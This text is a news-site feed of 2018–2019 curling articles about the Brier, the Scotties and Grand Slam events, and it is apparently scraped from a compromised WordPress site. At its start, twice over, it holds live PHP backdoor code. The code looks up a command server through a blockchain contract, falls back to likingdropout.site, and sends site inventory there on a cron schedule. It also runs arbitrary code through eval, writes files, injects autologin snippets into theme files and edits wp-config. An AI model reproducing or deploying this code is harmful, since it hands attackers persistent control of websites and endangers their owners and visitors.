// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Brier – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 10 Jan 2019 12:26:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Brier – Brief News https://briefnews.eu 32 32 Curling season reaches fever pitch as Scotties, Brier approach https://briefnews.eu/curling-season-reaches-fever-pitch-as-scotties-brier-approach/ https://briefnews.eu/curling-season-reaches-fever-pitch-as-scotties-brier-approach/#respond Thu, 10 Jan 2019 12:26:04 +0000 http://briefnews.eu/curling-season-reaches-fever-pitch-as-scotties-brier-approach/ If the first half of the curling season is any indication of what's to come in the following months, then buckle up.

It appears the level of curling is the highest it's ever been. Many of the games are being decided by the smallest of margins as curling continues to evolve and grow. Parity is also at an all-time high. On any given day and on any given sheet, these top teams can find a way to win.

This week the top 16 men's and women's teams from around the world are in North Battleford, Sask., taking part in the Grand Slam of curling's Meridian Canadian Open. It's the fifth stop on the Slam Tour this season, and for the Canadian teams it's the last real tune-up before provincial playdowns to qualify for the men's and women's national championships.

Many of the curlers on the ice this week have raised their intensity level as the pressure continues to build —January marks the sprint to the finish with the big curling prizes creeping into focus.

The Scotties will be played in just over a month in Sydney, N.S. That's followed by the Brier in Brandon, Man., at the beginning of March. The winning teams will then represent Canada at the respective world championships. Teams will use this week as a last chance to tinker with lineups, techniques and strategy before locking it in heading into provincials.

Triple knockout

The Canadian Open has a unique format different from most bonspiels fans would be used to watching. Rather than round-robin pool play that puts the top teams into the playoff round, this week it's a triple knockout format.

Essentially teams want to win three games before they lose three games in order to clinch a spot into the playoffs. For instance, if a team wins its first three games, they automatically qualify on the A side and will get a full day of rest.

On the flip side, should a team follow a win-lose-win-lose scenario, the journey to the playoffs gets a lot longer. That final game would then become a do-or-die situation to remain in the tournament. 

In total, two A teams (3-0) qualify, three B teams (2-1) qualify and three C teams (3-2) qualify for the playoffs.

The quarter-finals are slated for Saturday morning with the semis being played later that night. The men's championship goes Sunday morning with the women's final being played on Sunday afternoon.

Rachel Homan is part of the world’s top-ranked rink. (Aaron Favila/Associated Press)

World curling supremacy

Coming into the Slam event the world rankings are extremely close. Kevin Koe and Rachel Homan — Canada's two Olympic representatives one year ago — are the top teams in the world right now.

Following Koe on the men's side are Nik Edin, Bruce Mouat, Brad Jacobs and Brad Gushue to round out the top five. On the women's side, Anna Hassselborg, Jennifer Jones, Kerri Einarson and Silvana Tirinzoni follow Homan.

Teams are also trying to secure valuable Pinty's Cup points this week. Each Slam points are up for grabs and tallied up throughout the season. There is a men's and women's Pinty's Cup champion crowned after the last event of the year with a cash prize of $ 75,000. Gushue and Jones are the defending Pinty's Cup champions. 

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]]> https://briefnews.eu/curling-season-reaches-fever-pitch-as-scotties-brier-approach/feed/ 0 Brendan Bottcher earns No. 1 seed as Brier moves into championship pool https://briefnews.eu/brendan-bottcher-earns-no-1-seed-as-brier-moves-into-championship-pool/ https://briefnews.eu/brendan-bottcher-earns-no-1-seed-as-brier-moves-into-championship-pool/#respond Thu, 08 Mar 2018 05:50:28 +0000 http://briefnews.eu/brendan-bottcher-earns-no-1-seed-as-brier-moves-into-championship-pool/

Alberta’s Brendan Bottcher has put his rink in great position heading into the Championship Pool at the Tim Hortons Brier.

Bottcher finished the final day of round-robin play at the Canadian men’s curling championship with a 9-2 win over Wild Card Mike McEwen on Wednesday to earn the No. 1 seed entering the next round of play.

Bottcher’s rink forced McEwen’s squad to concede in eight ends.

“We’re just making all the simple shots really well. We’re making the other team play harder shots than we’re playing and that’s working out for us,” said the Edmonton-based skip.

Alberta’s steal of two after a pick on McEwen’s last rock in the fourth end, alongside a five-point ender in the fifth, sealed the fate for the match.

“They were playing well at the time but we would have been ahead on the scoreboard, controlling the game, air kind of came out [of us],” said Winnipeg-based skip McEwen.

Chaos at the top

Bottcher, Brad Gushue’s Team Canada, Northern Ontario’s Brad Jacobs and Ontario’s John Epping all finished the round robin with 6-1 records, but the Alberta skip took the No. 1 seed in the Championship Pool after his Pool A win earlier in the day over Gushue.

McEwen dropped to 5-2 with the loss, but still moved on as the top four teams from two pools advance to the Championship Pool of eight. Manitoba’s Reid Carruthers also finished 5-2 to advance.

John Epping’s Team Ontario won their 6th straight game at the 2018 Brier, with an 8-4 win over Steve Laycock’s Team Saskatchewan.0:55

Newfoundland and Labrador was looking for its second win of the round-robin going up against Team Canada in the evening draw. Greg Smith of St. John’s, N.L., was able to force a few ends against the 2017 Brier champion, but fell 7-2 in eight.

Northwest Territories’ Jamie Koe was able to take control of the game offensively in an 8-2 win over Yukon’s Thomas Scoffin, who conceded in eight ends. Draw 14 was important for the Koe rink, which needed the win to improve its record to 3-4 and create a possible three-way tie for fourth spot coming out of Pool A.

But the do-or-die situation for Nova Scotia’s Jamie Murphy against B.C., in Draw 14 sealed the fate for Kelowna skip Sean Geall and Whitehorse’s Koe.

Nova Scotia edged B.C. 8-6 in ten ends, improving its record to 4-3 to advance.

Brendan Bottcher and Team Alberta took down Gushue’s undefeated Team Canada 10-7, to force a 3-way tie atop Pool A.0:37

Championship pool begins Thursday

The championship pool gets underway Thursday afternoon at the Brandt Centre in Regina.

Bottcher faces Steve Laycock of Saskatchewan, Gushue plays Carruthers, Jacobs is up against Murphy while McEwen plays Epping.

For McEwen, the goal is to go win three out of the four games ahead of them Thursday and Friday.

“Not much different than if we are looking at this in December and we would look at this line-up of teams,” he said. “We need to go 3-1 against that group and we’ve done that before.”

Bottcher feel his team is set up nicely moving forward.

“Against B.C., we were down four halfway through that game so this could be a lot different conversation had we not been able to turn that one around and that’s sort of been the momentum shift for us in the week.”

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]]> https://briefnews.eu/brendan-bottcher-earns-no-1-seed-as-brier-moves-into-championship-pool/feed/ 0 Defending champ Gushue wins 5th straight to open Brier https://briefnews.eu/defending-champ-gushue-wins-5th-straight-to-open-brier/ https://briefnews.eu/defending-champ-gushue-wins-5th-straight-to-open-brier/#respond Wed, 07 Mar 2018 00:59:45 +0000 http://briefnews.eu/defending-champ-gushue-wins-5th-straight-to-open-brier/

Brad Gushue and his Team Canada rink improved to 5-0 at the 2018 Tim Hortons Brier with a 9-5 win over Nova Scotia in Tuesday’s afternoon draw.

The defending Canadian men’s curling champions scored two points in the seventh end and wrapped up the win with two more in the ninth after Jamie Murphy and his Halifax rink held Gushue to task for much of the game.

Gushue maintained first place in Pool A over Alberta and the wild-card team, tied for second at 4-1.

“It was a good game. I thought we played pretty solid, a couple little mistakes that we need to clean up but I like how our team is throwing it and we are looking forward to tomorrow,” Gushue said. “Two games so we’ll rest up tonight, get a good dinner and be ready to go.”

Brad Gushue and Team Canada are the last undefeated team standing at the 2018 Brier, after a 9-5 win over Nova Scotia.0:47

Wild-card skip Mike McEwen and his Winnipeg-based team came back from a 6-5 loss to Gushue in Monday’s final draw with a 10-3 victory in eight ends over Northwest Territories (2-3). McEwen capitalized on the mistakes by Yellowknife skip Jamie Koe, who struggled with the ice early in the game.

Alberta was under pressure to keep pace with the leaders, and Edmonton’s Brendan Bottcher delivered with a 7-5 win over Yukon. Bottcher plays Gushue and McEwen on Wednesday.

Elsewhere, British Columbia defeated Newfoundland and Labrador 12-6. Both teams finished the day tied at 1-4.

St. John’s skip Greg Smith gave Newfoundland and Labrador a big lead with one in the first and a steal of three in the second. But Kelowna’s Sean Geall responded with nine points over the next three ends.

The 21-year-old Smith, known to wear his emotions on his sleeve, started to get visibly frustrated as he allowed Geall to score three in the third, setting up steals of two and four over the next two frames.

Carruthers, Jacobs suffer 1st losses

Gushue was the only undefeated skip remaining in Regina after Manitoba and Northern Ontario suffered losses in Tuesday’s early draw.

Manitoba skip Reid Carruthers suffered his first loss in a 10-5 defeat to Ontario’s John Epping.

Epping’s Toronto rink used a huge five-point ninth end to move into a tie for first in Pool B at 4-1 with Winnipeg’s Carruthers and Brad Jacobs of Sault Ste. Marie, Ont.

John Epping and Team Ontario beat Reid Carruthers and Team Manitoba 10-5 in 9 ends, to move into a three-way tie atop Pool B at the 2018 Brier.3:53

Jacobs suffered his first loss when he fell 8-4 to host Saskatchewan. Steve Laycock’s team opened the scoring with four in the second end and added a three-point fifth end en route to improving its record to 3-2.

In other Draw 9 action, Quebec (2-3) opened with three in the first end and stole two in the second en route to an 8-3 victory over Nunavut (0-5), and New Brunswick (2-3) scored three in the ninth end and stole two in the 10th in a 9-6 come-from-behind win over Prince Edward Island (1-4).

The Pool B teams returned to the ice for Tuesday’s late draw.

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]]> https://briefnews.eu/defending-champ-gushue-wins-5th-straight-to-open-brier/feed/ 0 Reid Carruthers, Brad Jacobs stay undefeated at 2018 Brier https://briefnews.eu/reid-carruthers-brad-jacobs-stay-undefeated-at-2018-brier/ https://briefnews.eu/reid-carruthers-brad-jacobs-stay-undefeated-at-2018-brier/#respond Tue, 06 Mar 2018 00:07:38 +0000 http://briefnews.eu/reid-carruthers-brad-jacobs-stay-undefeated-at-2018-brier/

Defending champion Brad Gushue and wild-card skip Mike McEwen picked up wins in Monday’s early draw at the Brier, setting up a matchup of undefeated teams in the evening.

McEwen’s Winnipeg rink scored three in the 10th end in a 6-5 win over Nova Scotia as Jamie Murphy’s Halifax foursome suffered its first loss at the Canadian men’s curling championship in Regina.

Murphy had taken a two-point lead into the final end after scoring a deuce in the seventh and stealing one in the eighth and ninth.

Gushue joined McEwen at 3-0 with an 8-4 win over Jamie Koe of the Northwest Territories.

The 2017 Brier winner put the game away with three in the eighth end for his 114th career win at the event, an all-time record for a skip.

Top spot up for grabs

The early results set up a battle for top spot in Pool A in a rare matchup of two teams not representing provinces or territories. Gushue’s rink from St. John’s is competing at this Brier as Team Canada, while McEwen entered the main competition after winning the first-ever Brier wild-card game on the weekend.

Manitoba is being represented by Reid Carruthers, who is also undefeated at 3-0 and was idle in the morning draw.

In other early results, Alberta edged British Columbia 9-8 and Newfoundland and Labrador held on for a 7-6 win over Yukon.

McEwen and Gushue led Pool A after six draws, followed by Nova Scotia and Alberta at 2-1.

Manitoba and Northern Ontario were at 3-0 to lead Pool B, with Ontario at 2-1.

The Pool B teams played in an afternoon draw later Monday, with the Pool A teams returning for the evening draw.

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]]> https://briefnews.eu/reid-carruthers-brad-jacobs-stay-undefeated-at-2018-brier/feed/ 0 As Brier shakes up format, curling's next wave prepares to enter national spotlight https://briefnews.eu/as-brier-shakes-up-format-curlings-next-wave-prepares-to-enter-national-spotlight/ https://briefnews.eu/as-brier-shakes-up-format-curlings-next-wave-prepares-to-enter-national-spotlight/#respond Fri, 02 Mar 2018 00:38:01 +0000 http://briefnews.eu/as-brier-shakes-up-format-curlings-next-wave-prepares-to-enter-national-spotlight/

Greg Smith claims he packed approximately 400 pieces of gum as he prepared to travel to Regina for this year’s Tim Hortons Brier.

It’s a habit he picked up from former world and Tournament of Hearts champion Colleen Jones, one that the 21-year-old skip representing Newfoundland and Labrador at the Canadian men’s curling championship believes helps ease the nerves.

“I chew a literal metric tonne of gum and so that just distracts me from the whole stress of the situation,” Smith said. “I think the psychology behind it is it tricks your brain into thinking that you’re not in a stressful situation because it thinks that you’re eating.”

As much as the game has changed a lot at the national level since Jack MacDuff won Newfoundland’s first Brier title in 1976, one thing that has remained the same is young skips learning from those who came before.

